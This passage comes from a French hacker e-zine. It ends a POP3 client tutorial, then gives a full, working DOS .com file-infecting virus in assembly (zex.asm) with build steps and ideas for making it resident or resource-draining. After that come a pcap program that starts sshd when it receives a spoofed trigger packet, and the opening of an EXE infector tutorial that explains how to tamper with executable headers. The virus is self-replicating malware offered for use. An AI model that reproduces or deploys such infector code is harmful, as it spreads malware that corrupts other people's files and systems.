printf("\n"); AfficherHeure(); cout << " : Soumission de la requête pour voir l'en-tête du mail " << numero << "\n"; } sprintf(buffpop3, "TOP %d %d\r\n", numero, nbrlignes); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 102400)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible de voir l'en-tête\n\t"); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : En-tête du mail n° " << numero << " reçue\n\t"; } } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ ; } Et la commande la plus importante, AfficherMail, grâce à RETR. Analysez, vous verrez que c'est facile ! void CPOP3::ClientPOP3_AfficherMail(unsigned short int numero, long int taillemin, long int taillemax) { buffpop3 = new char[256]; possible[2] = 0; if (possible[0] != 4 || possible[1] != 3 || taillemax < 4) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible d'afficher le mail n° %d, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n\t* Moins de 4 octets seront reçus !", numero); } } else { possible[2]++; if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission de la requête pour afficher le mail " << numero << "\n"; } sprintf(buffpop3, "RETR %d 0\r\n", numero); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(taillemin, taillemax)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible d'afficher ce mail\n\t"); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Mail n° " << numero << " reçu\n\t"; } } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ } La fonction qui va suivre permet d'effacer un mail de la méoire, puis du disque du serveur si vous le quittez proprement (commande DELE) : void CPOP3::ClientPOP3_EffacerMail(unsigned short int numero) { buffpop3 = new char[256]; possible[2] = 0; if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible d'effacer vos mails, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n"); } } else { possible[2]++; if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission de la requête d'effacement du mail " << numero << endl; } sprintf(buffpop3, "DELE %d\r\n", numero); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 10240)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible d'effacer le mail n°%d\n\t", numero); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Le mail n°" << numero << " sera bien effacé lorsque vous quitterez proprement le serveur\n\t"; } } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ } Cette fonction RestaurerTous annule tous les appels à la précédente (commande RSET) : void CPOP3::ClientPOP3_RestaurerTous() { buffpop3 = new char[256]; possible[2] = 0; if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible de restaurer vos mails, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n"); } } else { possible[2]++; if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission de la requête de récupération de tous les mails\n"; } sprintf(buffpop3, "RSET\r\n"); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible de restaurer vos mails\n\t"); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Tous vos mails ont été restaurés et ne seront pas effacés lorsque vous quitterez\n\t"; } } /*---- Fin Opération élémentaire 2 ----*/ } /*---- Fin Opération élémentaire 1 ----*/ } Et enfinl acommande QUIT\r\n qui permet de quitter proprement un serveur POP3 : void CPOP3::ClientPOP3_Quitter() { buffpop3 = new char[256]; possible[2] = 0; if (possible[0] != 4 || possible[1] != 3) /*---- Début Opération élémentaire 1 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3: Impossible de quitter votre compte, raisons possibles\n\t* Vous n'êtes pas connecté au serveur POP3\n\t* Le nom d'utilisateur est érroné\n\t* Le mot de passe est érroné\n"); } } else { possible[2]++; if (verbose) { printf("\n"); AfficherHeure(); cout << " : Soumission de la requête pour quitter\n"; } sprintf(buffpop3, "QUIT\r\n"); o_baz->Envoyer(buffpop3, strlen(buffpop3)); if (! ClientPOP3_Recevoir(0, 256)) /*---- Début Opération élémentaire 2 ----*/ { if (verbose) { AfficherHeure(); fprintf(stderr, " : Client POP3 : Impossible de quitter proprement le serveur\n\t"); } } else { possible[2]++; if (verbose) { AfficherHeure(); cout << " : Client POP3 : Serveur quitté proprement\n\t"; } } /*---- Fin Opération élémentaire 2 ----*/ o_baz->Deconnecter(); } /*---- Fin Opération élémentaire 1 ----*/ } Et voici la fonction private utilisée en tant que surcouche de CClient::Recevoir() : bool CPOP3::ClientPOP3_Recevoir(long int taillemin, long int taillemax) { do { o_baz->Recevoir(taillemin, taillemax); if (o_baz->taillebuffcli > 0) { if (! strncmp(o_baz->buffcli, "+OK", 3)) return true; if (! strncmp(o_baz->buffcli, "-ERR", 4)) return false; } else return false; } while (1); } /*---------------------------------------------------------------------------*/ Cette fonction tient compte du résultat du serveur, qui est soit +OK xxxxx, soit -ERR xxxxxxx Je vous conseille, pour mieux comprendre, de lire la RFC 1939, qui peut se trouver sur "http://www.armware.dk/RFC" Conclusion : ____________ Voilà j'ai terminé mon petit tutorial, qui était en fait un survol de mes classes pour vous montrer ma méthodologie de travail, dont vous pourrez vous inspirer pour faire vos propres classes. Vous pouvez attendre la sortie officielle de CAPRU, ou me la demander par mail (en version de développement) si ce cours vous a vraiment intéressé. Je remercie les membres de IOC pour avoir publié ces lignes :) --------------------------------------------------------------------------------------- X. COM infector Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Révolté par cette tendance actuelle à préférer la facilité en optant pour la programmation de virus en vbs/js? Tendance qui ne démontre que trop bien une incompétence flagrante de la part des pseudo <> de 12/13 ans fiers de répandre leurs vomissures puérils sur le net. Lovelette a ouvert la marche, et depuis, des clones se multiplient sans cesse sur la toile, dégradant l'image du codeur de virus. La programmation virale est loin d'être une mince affaire, loin de là, et, de ce fait, des virus telles que CIH ou Chernobyl ont complétement disparues, le relai n'a pu être passé, la majorité des jeunes programmeurs étant tournés vers des langages pitoyables, il faut le dire, qui ne sont que des langages de script affreusement limités et d'une simplicité déconcertante. Morris n'est plus qu'une légende, la scène l'ombre d'elle même. [ Sommaire ] I. Description II. Programmation III. Code source IV. Conclusion I. Description ________________ S'il fallait choisir un langage, ce serait l'assembleur. Pourquoi un langage d'assemblage ? L'asm représente un compromis parfait entre vitesse d'éxécution, du fait qu'il se rapproche le plus du processeur et qu'aucune librairie n'est nécéssaire à son éxécution, polyvalence et potentiel de destruction. Les ouvertures possibles en assembleur n'ont aucune limite, si ce n'est vos capacités de coder. MBR/BOOT sector writing, polymorphic engine, multiple file format infector... Tout est accessible et dans un nombre de cycles processeur infime en comparaison des langages de haut niveau! [ Fonctionnement ] Nous allons commencer par un virus simple d'accès, c'est un com infector, non résidant en mémoire. Il va se contenter d'établir une liste de tous les fichiers en .com du répertoire courant et va se recopier dans chacun d'eux, de manière à ce qu'à chaque lancement du .com le virus se lance en parallèle sans géner le processus du fichier infecté. Le code du virus est ainsi totalement transparent. +------------+ -> offset virus |0x09E0 virus| -> jmp offset fichier +------------+ +------------+ -> offset file | FICHIER | | FICHIER | | .COM | |----¤----> | .COM | -> corps du fichier | A INFECTER | injection | INFECTE | +------------+ du virus +------------+ -> offset virus |INSTRUCTIONS| | VIRUS | +------------+ |0x09E0 file | -> jmp offset file +------------+ Donc d'après ce schéma, il y a 3 parties importante qui sont gréffées lors de l'injection de notre virus. Tout d'abord au début du fichier est ajouté un jump pointant sur l'offset du code du virus, ainsi lors de l'éxécution du .com infecté, le cpu jump sur le virus situé à la fin du fichier. Ensuite les instructions du virus sont placés à la fin comme je l'ai dit précédemment, c'est donc à ce niveau là que le code malveillant est inséré, ici en l'occurence la routine d'infection des .com. Et enfin un jmp prenant pour argument l'offset du fichier infecté se voit ajouté à la fin. Cette structure est générique donc mémorisez la bien. La taille du fichier est donc légérement augmenter, ceci reste quasi invisible, vu le faible niveau d'interprétation de l'assembleur! Notez L'instruction 0x09E0 correspond à un saut inconditionnel jump en langage machine ;-) Si les adresses passés en argument aux jmp sont mal calculées, c'est le plantage, et il n'y aura pas de nop pour rectifier le tir cette fois-ci! Passons à la programmation de la bestiole. II. Programmation : ___________________ Il s'agit donc d'infecter tous les .com du répertoire courant, en s'auto-injectant dedans de manière à ne pas déranger le processus du fichier hôte. Tout d'abord nous allons émuler un saut qui sera placé dans le programme infecté, puis créer une routine de fin pour rendre la main au DOS. ------8<-------------------- .model tiny ;on aura recourt à une petite pile .code org 100h ;les coms commencent à 100h Virus: jmp Start ;notre saut nop ;0x90 mov ax,0900h ;on affiche un petit message :-D mov dx,offset hello int 21h mov ax,4C00h ;code de sortie dans l'accumulateur int 21h ;interruption DOS, on quitte ------8<-------------------- Ensuite, nous devons récupérer l'offset réèl de notre virus, c'est à dire calculer l'adressage de notre label dans le fichier hôte. Pour cela, nous soustrayons l'offset de notre label getadd: à l'adresse relative de getadd: obtenue après compilation. ------8<-------------------- Start: call getadd ;on call notre procédure getadd: ;l'adresse est pushée sur la stack pop bp ;on récupère l'adresse sur la pile sub bp,offset getadd ;on l'a soustrait à l'adresse relative de getadd ------8<-------------------- A présent il nous faut définir une table DTA pour récupérer la taille du fichier DTA est un tableau de bits nous reinseignant sur les différents paramètres du fichier précédemment ouvert. Il nous est plus qu'utile, car nous ne connaissons ni le nom, ni les attributs ou taille des fichiers que nous allons ouvrir et manipuler avant injection du virus. On fait appel à ce tableau via l'instruction | DTA | ------------------------------------------------------------ Offset Size Function 0h 21 Bytes Reserv‚ 15h 1 Byte Attributs du fichier 16h 2 Bytes(WORD) Time du fichier 18h 2 Bytes(WORD) Date du fichier 1Ah 4 Bytes(DWORD) Taille du fichier 1Eh 13 Bytes Nom du fichier ------------------------------------------------------------ Nous allons commencer par appliquer le décalage relatif à l'offset de dta que nous allons stocker dans le registre de données (dx). ------8<-------------------- MDTA: push cs pop ds mov dx,offset DTA ;dx <- table DTA add dx,bp ;décalage mov ah,1Ah ;offset correspondant à la taille du fichier dans DTA int 21h ------8<-------------------- Occupons nous maintenant de replacer les octets originaux que nous avons déplacés dans le com hôte lors de l'infection (en ajoutant un jmp pointant sur le début du virus) sans ça, il va planter son adressage étant complétement décalé. Pour cela il nous suffit juste de déplacer ces octets du data segment vers l'extra segment à partir de 100h, soit le début du .com. On va ainsi transmettre les 4 octets de ds:si vers es:di. ------8<-------------------- Offset_hote: push cs pop ds mov si,offset begin ;ds:si <- offset begin add si,bp ;on applique le décalage push cs pop es ;es <- cs mov di,100h ;es:di pointe au début du .com (adresse: 0x0100) mov cx,4 ;on place le compteur à 4 rep movsb ;et on replace les 4 octets originaux ------8<-------------------- Nous entrons dans le vif du sujet! Commençons avant d'infecter les fichiers par les lister! On va donc se construire une liste de tous les .com du répertoire courant. Pour cela nous allons utiliser le code 0x004E de l'interruption DOS 0x21 donc voici la syntaxe: Interruption 21h, code 4EH : recherche fichier entrée: AH = 4Eh CL = attributs de fichier DS:DX = pointeur sur le chemin du fichier sortie: AX = 0 si la recherche a abouti ou numéro d'erreur sinon Comme attributs, nous définirons 7, qui représente tous les attributs et comme path *.com, soit tous les .com du current directory. La recherche lancée, nous sonderons ax pour récupérer le code de sortie, s'il est égale à 18, c'est que la recherche est terminée, sinon on ouvre le fichier on lance la routine infected qui vérifie si le fichier est infecté, si non on call le processus infect. ------8<-------------------- ccherche: push cs pop ds mov dx,offset com_file ;notre path *.com add dx,bp ;décalage... mov cl,7 ;tout attribut mov ah,4Eh int 21h cmp ax,18 ;nous comparons ensuite loop_cherche: jz quit_now ;recherche finie? On quitte push cs pop ds mov dx,offset DTA + 1Eh ;nom du fichier dans la DTA_Table add dx,bp ;décalage mov ax,3D02h ;ouverture en lecture/écriture int 21h mov bx,ax ;on place le handle du fichier dans bx jc quit_now ;erreur? On quitte jnz Infect ;sinon on injecte le virus ------8<-------------------- Il s'agit ensuite de fermer le fichier après la routine d'infection (jmp Infect) et de relancer la recherche en utilisant le code 0x004F de l'interruption 0x21 qui effectue une recherche en prenant en argument ceux entrés précédemment (recherche fichier, voir ci-dessus). On effectue donc un saut inconditionnel vers l'offset de loop_cherche (la boucle de recherche des .com). ------8<-------------------- Close_file: mov ah,3Eh ;code de fermeture int 21h ;interruption trouve: mov ah,4Fh ;rechercher le suivant int 21h cmp ax,18 ;recherche achevée? jmp loop_cherche ;on saute à loop_cherche ------8<-------------------- A présent, il ne nous reste que deux fonctions à déclarer avant la procédure finale d'infection : quit_now: qui va nous servir à rendre la main au DOS en pushant l'adresse de début du .com (100h) ou commence l'hôte (le label virus:) qui affiche un message et quitte (0x4C00). infected: label vérifiant l'infection d'un programme pour ne pas s'injecter plusieurs fois dans ce-dernier et ainsi créer une boucle d'infection infinie qui planterait windows. Parlons un peu de l'infection, comment allons-nous pouvoir affirmer avec certitude qu'un programme a déjà été infecté ? Nous allons nous servir de la méthode ingénieuse d'Androgyne (rtcmag n°2) qui consiste à modifier la date de modification dudit fichier! C'est très simple il nous suffit d'utiliser le code 0x57 de l'interruption DOS 0x21, voici la syntaxe : Interruption, code 57h: manipulation des paramètres d'un fichier Sous fonction 00h : lecture date et heure de modification d'un fichier entrée: AH = 57h AL = 00h BX = handle du fichier (retournée par la fonction d'ouverture dans ax) sortie: AX = code d'erreur en cas d'erreur CX = 2048*heure + 32*minute + seconde/2 DX = 512*année + 32*mois + jour registre flag C mis à 1 si une erreur est survenue Sous fonction 01h : Définir date et heure de modification d'un fichier entrée: AH = 57h AL = 01h BX = handle du fichier (retournée par la fonction d'ouverture dans ax) CX = 2048*heure + 32*minute + seconde/2 DX = 512*année + 32*mois + jour sortie: AX = code d'erreur en cas d'erreur registre flag C mis à 1 si une erreur est survenue ------8<-------------------- quit_now: mov ax,100h ;adresse de commencement du .com push ax ;on push cette valeur en haut de la pile ret ;on redonne la main au processus appelant infected: mov al,0 ;00h = lecture mov ah,57h ;code de manipulation des paramètres du fichier int 21h cmp dx,1D45h ;date = 5 Octobre 1994 ? ret ------8<-------------------- Voici notre ultime procédure, la raison même d'être de notre virus, le coeur de notre code assurant la survie de notre microbe sur le disque de la victime. Mais qu'en est-il vraiment? Au stade actuelle de le programmation du virus, il nous suffit de lire les 4 premiers octets du programme hôte, d'y placer un jmp vers l'offset de notre virus que nous allons placé à la fin du fichier à infecter et enfin de corrompre sa date de modification (24 Octobre 1994). Qu'est-ce qu'on s'amuse ! Comment récupérer l'offset de notre virus ? Par simple soustration de l'offset du label de fin (fin:) par celui du label de début (start:), on jump ensuite à la fonction close_file. ------8<-------------------- Infect: xor cx,cx ;0? 0! xor dx,dx ;0?! 0!! mov ax,4200h ;on se place au début du fichier int 21h mov cx,4 ;on place le compteur à 4 push cs pop ds mov dx,offset begin ;dx <- offset begin (pour lecture des 4 octets de départ) add dx,bp ;on y ajoute le décalage mov ah,3Fh ;code de lecture int 21h ;interruption DOS - lecture xor cx,cx ;cx <- 0 xor dx,dx ;dx <- 0 mov ax,4202h ;on se place à la fin du fichier int 21h push ax ;on empile ax mov cx,offset Fin - offset Start + 1 ;on calcule la taille du virus push cs pop ds mov dx,offset Start ;ds:dx <- offset Start (début virus) add dx,bp ;éternel décalage mov ah,40h ;on écrit le virus à la fin du fichier à infecte! ROCK ON! int 21h xor cx,cx ;cx <- 0 xor dx,dx ;dx <- 0 mov ax, 4200h ;on se place au début du fichier int 21h pop ax ;on récupère ax <- taille originale du fichier sub ax,3 mov byte ptr [bp + fjmp],0E9h ;on se crée un tit jmp en opcode mov word ptr [bp + fjmp + 1],ax ;et on entre en argument l'offset de notre virus push cs pop ds mov dx,offset fjmp ;adresse de false jmp (fmp) add dx,bp mov cx,3 mov ah,40h ;écriture du jmp dans les 3 premiers octets du fichier int 21h mov al,0 mov ah,57h ;on va modifier la date int 21h mov dx,1D45h ;date <- 1D45h <- 24 Octobre 1994 mov al,1 ;on définie la date mov ah,57h ;on modifie le fichier int 21h jmp Close_file ;on ferme le fichier et on continue ------8<-------------------- III. Code source : __________________ ------8<--------------------------------------------------------------------- ;zex.asm by Li0n7 ;R0CK 0N BABY ! .model tiny .code org 100h Virus: jmp Start nop mov ax,0900h mov dx, offset hello int 21h mov ax,4C00h int 21h Start: call getadd getadd: pop bp sub bp,offset getadd MDTA: push cs pop ds mov dx,offset DTA add dx,bp mov ah,1Ah int 21h Offset_hote: push cs pop ds mov si,offset begin add si,bp push cs pop es mov di,100h mov cx,4 rep movsb ccherche: push cs pop ds mov dx,offset com_file add dx,bp mov cl,7 mov ah,4Eh int 21h cmp ax,18 loop_cherche: jz quit_now mov al,2 push cs pop ds mov dx,offset DTA + 1Eh add dx,bp mov ah,3Dh int 21h mov bx,ax jc quit_now call infected jnz Infect Close_file: mov ah,3Eh int 21h trouve: mov ah,4Fh int 21h cmp ax,18 jmp loop_cherche quit_now: mov ax,100h push ax ret infected: mov al,0 mov ah,57h int 21h cmp dx,1D45h ret Infect: xor cx,cx xor dx,dx mov ax,4200h int 21h mov cx,4 push cs pop ds mov dx,offset begin add dx,bp mov ah,3Fh int 21h xor cx,cx xor dx,dx mov ax,4202h int 21h push ax mov cx,offset Fin - offset Start + 1 push cs pop ds mov dx,offset Start add dx,bp mov ah,40h int 21h xor cx,cx xor dx,dx mov al,00 mov ah,42h int 21h pop ax sub ax,3 mov byte ptr [bp + fjmp],0E9h mov word ptr [bp + fjmp + 1],ax push cs pop ds mov dx,offset fjmp add dx,bp mov cx,3 mov ah,40h int 21h mov al,0 mov ah,57h int 21h mov dx,1D45h mov al,1 mov ah,57h int 21h jmp Close_file com_file db '*.com$' hello db 'Mouhahahahaha!','$' begin db 4 dup (90h) fjmp db 3 dup (0) DTA db 43 dup (0) Fin: end Virus ------8<--------------------------------------------------------------------- IV. Conclusion : ________________ Vous n'avez plus qu'à tester le microbe. Copier le dans un répertoire avec quelques .com pures, j'entends par là non-infectés, puis lancer le virus. Mystérieusement vos .com seront devenus quelque peu boulémiques ! Notez que la taille du virus est de 269 octets, ce qui est ridicule en comparaison à des virus codés en vb ou C, mais cette taille reste entièrement optimisable. La routine d'infection peut être raccourcie d'un poil, ainsi que la routine de recherche. Vous pouvez l'amélioré en le rendant résidant mémoire en détournant la table des vecteurs d'interruptions, ou bien infecter un autre type de fichier, .exe par exemple, ce qui implique une connaissance pointue du PE header (équivalent de l'elf header linux) ou encore imposer une consommation abusive des ressources de l'OS, jusqu'à redémarrage de la machine. A vous de jouer! Pour assembler: >tasm zex.asm Pour linker: >tlink zex.obj >zex ; :-) Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr --------------------------------------------------------------------------------------- XI. Démarrer sshd à distance Jackniels --------------------------------------------------------------------------------------- [ Introduction ] Cet article va montrer comment on peut "cacher" sshd et l'activer à distance à la demande. Cela permet d'éviter de laisser tourner ce daemon et donc de se prémunir des attaques visant sshd. Son activation va se faire sur la réception d'un segment TCP avec une IP source et un port source particuliers. Il est possible d'envisager un tel programme pour administrer une machine aidant à la détection d'intrusion. Il est alors possible de fermer tous les services sur cette machine même le port 22/tcp. Pour réaliser ce programme, nous allons utiliser la libpcap. La libpcap est une bibliothèque de fonctions qui sert d'interface à la capture de paquets et est indépendante du système. En clair, la libpcap permet d'écouter le réseau avec ses propres filtres puisqu'elle inclut un mécanisme de filtrage basé sur le Berkeley Packet Filter (BPF). La libpcap est téléchargeable ici : http://www.tcpdump.org I. Le Code : ____________ ------------8<------------------------------------------------------------------ // startsshd.c by jackniels #include #include #include #include #include #include #include #include #include #include #include void callback(u_char *user,const struct pcap_pkthdr *h, const u_char *buff) { printf ("sshd [OK]\n"); system("/usr/sbin/sshd -d"); exit(1); } int main() { char errbuf[PCAP_ERRBUF_SIZE]; char *dev; char *buff; char filtre[]="tcp and src host 222.222.222.222 and src port 2222"; pcap_t *des; bpf_u_int32 net,mask; struct bpf_program fp; if((dev=pcap_lookupdev(errbuf))==NULL) { fprintf(stderr,"unable de detect device : %s\n",errbuf); exit(-1); } printf("using %s as device for sniffing\n",dev); if((des=pcap_open_live(dev,1514,IFF_PROMISC,1000,errbuf))==NULL) { fprintf(stderr,"unable to open descriptor : %s\n",errbuf); exit(-1); } if(pcap_lookupnet(dev,&net,&mask,errbuf)==-1) { fprintf(stderr,"unable to lookup net and mask : %s\n",errbuf); exit(-1); } if(pcap_compile(des,&fp,filtre,0x100,mask)==-1) { fprintf(stderr,"error compiling filter : %s\n",pcap_geterr(des)); exit(-1); } if(pcap_setfilter(des,&fp)<0) { fprintf(stderr,"unable to apply filter : %s\n",pcap_geterr(des)); exit(-1); } if(pcap_loop(des,-1,callback,buff)<0) { fprintf(stderr,"unable to initialize loop : %s\n",pcap_geterr(des)); exit(-1); } return 1; } ------------8<------------------------------------------------------------------ II. Démonstration : ___________________ => Machine "shinta" : On compile le programme de cette manière puis on le lance : jack@shinta:~# gcc -lpcap -o startsshd startsshd.c / root@shinta:~# ./startsshd using ppp0 as device for sniffing => Machine "tomoe" : On lance le serveur sshd en envoyant à la machine shinta un segment TCP avec l'IP spoofée 222.222.222.222 depuis le port 2222. Pour cela, on utilise le programme hping (http://www.hping.org/) : root@tomoe:~# /usr/sbin/hping -c 1 -s 2222 -a 222.222.222.222 HPING (ppp0 ): NO FLAGS are set, 40 headers + 0 data bytes --- hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms root@tomoe:~# => Machine "shinta" On obtient : root@shinta:~# ./startsshd using ppp0 as device for sniffing sshd [OK] debug1: sshd version OpenSSH_3.1p1 debug1: private host key: #0 type 0 RSA1 debug1: read PEM private key done: type RSA debug1: private host key: #1 type 1 RSA debug1: read PEM private key done: type DSA debug1: private host key: #2 type 2 DSA socket: Address family not supported by protocol debug1: Bind to port 22 on 0.0.0.0. Server listening on 0.0.0.0 port 22. Generating 768 bit RSA key. RSA key generation complete. [ Remarque ] On a utilisé l'option -d de sshd. Si on se reporte au man de sshd : -d Debug mode. The server sends verbose debug output to the system log, and does not put itself in the background. The server also will not fork and will only process one connection. This option is only intended for debugging for the server. Multiple -d options increase the debugging level. Maximum is 3. Autrement dit, une seule connexion à la fois au service sshd. => Machine "tomoe" : A présent, on peut se connecter à shinta par ssh. jack@tomoe:~# ssh jack@ [ Conclusion ] Le programme ci-dessus n'est qu'une illustration permettant de montrer ce qui est faisable mais il est livré sans aucune garantie. On peut imaginer de lancer sshd sur un autre port que 22 (option -p), de même qu'on aurait pu augmenter la complexité du segment TCP à envoyer (numéro id, window size, maximum segment size ... ). [ Références ] http://www.hsc.fr/ressources/breves/secretssh.html http://5hdumat.samizdat.net/coding/c.rezo/sniffpcap.html --------------------------------------------------------------------------------------- XII. EXE infector Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Nous avons étudié la programmation d'un com infector, voyons à présent l'infection des exe. Les com sont des petits fichiers éxécutés par le système d'exploitation dans le but de remplir certaines taches basiques, ils sont donc beaucoup moins utilisés par l'utilisateur, voir dans certains cas inutilisés. L'espérance de vie d'un com infector s'en voit considérablement réduite. Le format exe, qui est la référence de l'éxécutable sous des système de type windows, beaucoup plus volumieux, doté d'une structure alors plus complexe, lui assure ainsi une plate-forme sûre d'expansion. L'arrivée des macros-virus a fait naitre une incompréhension totale de la manière d'infecter un .exe, en effet, ceux-ci, s'ils ne suppriment pas barabarement les éxécutables, remplace la totalité du code de ces derniers et les renomment en .vbs, ce qui n'a rien d'un procédé d'expansion virale en soit. L'injection d'un virus à travers un .exe se présente comme l'infection la plus difficile à mettre en oeuvre en raison de l'header située en tête de ce type de fichier. [ Sommaire ] I. Description II. Programmation III. Code source IV. Conclusion I. Description : ________________ Contrairement à l'infection d'un .com, nous n'allons pas overwritter certaines données du .exe, juste modifier provisoirement certaines informations de l'header en début de fichier et modifier le tableau de réadressage. Cet en-tête est vital au fichier, altéré, il corromperait le fichier ! Il contient tout une série de paramètres nécéssaires à la bonne lecture de l'exécutable par le DOS : ou placer la pile, ou l'éxécution commence-t'elle, la taille du fichier... Pour comprendre ceci, il est indispensable de savoir que tout .exe est organisé en segments, ainsi le code de l'éxécutable peut commencer et finir n'importe ou. [ PE Header ] +----------------------------------------------------------------------------------------+ |OFFSET| NOM |TAILLE| DESCRIPTION | +----------------------------------------------------------------------------------------+ |00 | Signature |2bytes| MZ - 4DH 5AH | +----------------------------------------------------------------------------------------+ |02 | Taille dernière page |word | Taille en bytes de la dernière page (512 bytes) | +----------------------------------------------------------------------------------------+ |04 | Nombre pages fichier |word | Nombre total de pages de 512 bytes | +----------------------------------------------------------------------------------------+ |06 | Relocation items |word | Nombre d'entrées dans la table de relocations | +----------------------------------------------------------------------------------------+ |08 | Paragraphes en-tête |word | Taille de l'header en paragraphes (16 bytes) | +----------------------------------------------------------------------------------------+ |0A | Allocation minimale |word | Mémoire minimum requise en paragraphes | +----------------------------------------------------------------------------------------+ |0C | Allocation maximale |word | Mémoire maximum requise en paragraphes | +----------------------------------------------------------------------------------------+ |0E | Prerelocation SS |word | Offset segment de pile en paragraphes | +----------------------------------------------------------------------------------------+ |10 | Stack pointer initial |word | Première valeur du pointeur de la pile | +----------------------------------------------------------------------------------------+ |12 | Negative checksum |word | Nous y placerons notre marqueur d'infection | +----------------------------------------------------------------------------------------+ |14 | Prerelocation IP |word | Adresse de début d'éxécution (IP) | +----------------------------------------------------------------------------------------+ |16 | Prerelocation CS |word | Code Segment (segment de début d'éxécution) | +----------------------------------------------------------------------------------------+ |18 | offset table reloc. |word | Offset table des relocations | +----------------------------------------------------------------------------------------+ |1A | Overlay number |word | overlay | +----------------------------------------------------------------------------------------+ |1C | Réservé |dword | / | +----------------------------------------------------------------------------------------+ Lorsque nous infection un .com, nous nous contentions de rajouter un jmp au début du fichier prenant en argument l'offset de notre virus situé à la fin du fichier. Nous overwrittions donc les premiers bytes du fichier. Ici, nous allons modifier certains champs de l'header de façon à éxécuter notre code situé dans un module chargée en mémoire (le dernier segment de l'exe), puis redonner la main au fichier hôte en remodifiant l'header. Pour cela nous aurons besoin de 5 champs. Les deux premiers nous renseigne sur la taille de la dernière page (offset 02h) et le nombre total de pages (offset 04h), donc la taille du fichier en pages de 512 de bytes. Nous modifierons aussi l'offset 0Eh contenant le déplacement en paragraphes relatif à la fin de l'header à effectuer pour atteindre le stack segment, et l'offset 10h contenant le déplacement à effectuer relativement au début de SS pour atteindre SP. Ainsi que l'offset 16h, contenant le déplacement en paragraphes relativement à la fin de l'header qu'il faut effectuer pour se rendre à l'entry point (fonction main), située sur le segment de code, première fonction a être éxécutée, nous y placerons l'offset de notre virus. Et enfin l'offset 14h, contenant l'adresse du point d'entrée (fonction main) sur CS. [ PSP ] Il faut savoir qu'après l'header de l'éxécutable se trouve la table de relocation qui n'est utilisé qu'avec des fichiers dont la taille est supérieur à 64k. La table de relocation contient une liste pointeurs pointant chacun sur une adresse du programme devant être reajustées en fonction du segment dans lequel le DOS a initialisé le programme. Pour obtenir l'adresse décalée, le DOS commence par charger l'adresse située dans la table et y ajoute le segment du programme. Quand DOS lance un .exe, il charge le segment PSP dans un segment mémoire. il crée une petite structure de données de 256 octets, nommée PSP (Program Segment Prefix). Le PSP qui est un vestige des premières versions DOS et de CP/M contient des informations spécifiques à l'environnement du programme. Le PSP est créée lors de l'éxécution du programme, et ne nécéssite ainsi aucune place sur la mémoire morte du dur. Le PSP chargé, il ajoute la valeur 10h à CS et laisse ES et DS pointer sur le segment PSP. Le code initial du programme commence alors à cs:0000 ou le segment PSP est définie à CS-10h:0000 (voir schéma). Structure .com Structure .exe +-------------+ +-------------+ | | | | | | | | +-------------+ CS:FFFFh | +-------------+ | | | 64k | | | | | PILE | max | | PILE | 64k| | | | | | max| +-------------+ |_ +-------------+ SS:0000h | | | | | | | | DONNEES | 64k | | DONNEES | | | | max | | | | +-------------+ |_ +-------------+ DS:0000h | | | | | | | | | 64k | | | | | CODE | max | | CODE | | | | | | | | | | | | | | | | | | | DS=SS=0000h |_ +-------------+ CS:0000h |_ +-------------+ CS:0000h | PSP | | PSP | <-------------< DS=SS=0000h <-------------< CS-10h:0000 | | | | | | | | +-------------+ 0000:0000 +-------------+ 0000:0000 Ceci ne sera pris en compte lors de l'infection de l'exe, mais il peut être toujours intéréssant de le savoir. Lorsqu'un programme est chargé, DOS alloue en mémoire une autre autre structure de données appelée le bloc d'environnement. Ce bloc contient la liste de toutes les variables d'environnement (qui sont généralement déclarées dans le fichier AUTOEXEC.BAT, servant à définir le contexte dans lequel l'éxécution du programme a lieu) au format VARIABLE=VALEUR\0. A la fin de cette liste se trouve un byte à 0, suivi d'un mot (généralement 0001h) et finalement du nom complet de l'exécutable terminé par un \0 (byte 00h). Ce bloc d'environnement est toujours calé sur le début d'un segment, et on peut trouver l'adresse de ce segment à l'offset 02Ch du PSP. Lorsque le programme est terminé, ce bloc d'environement est détruit 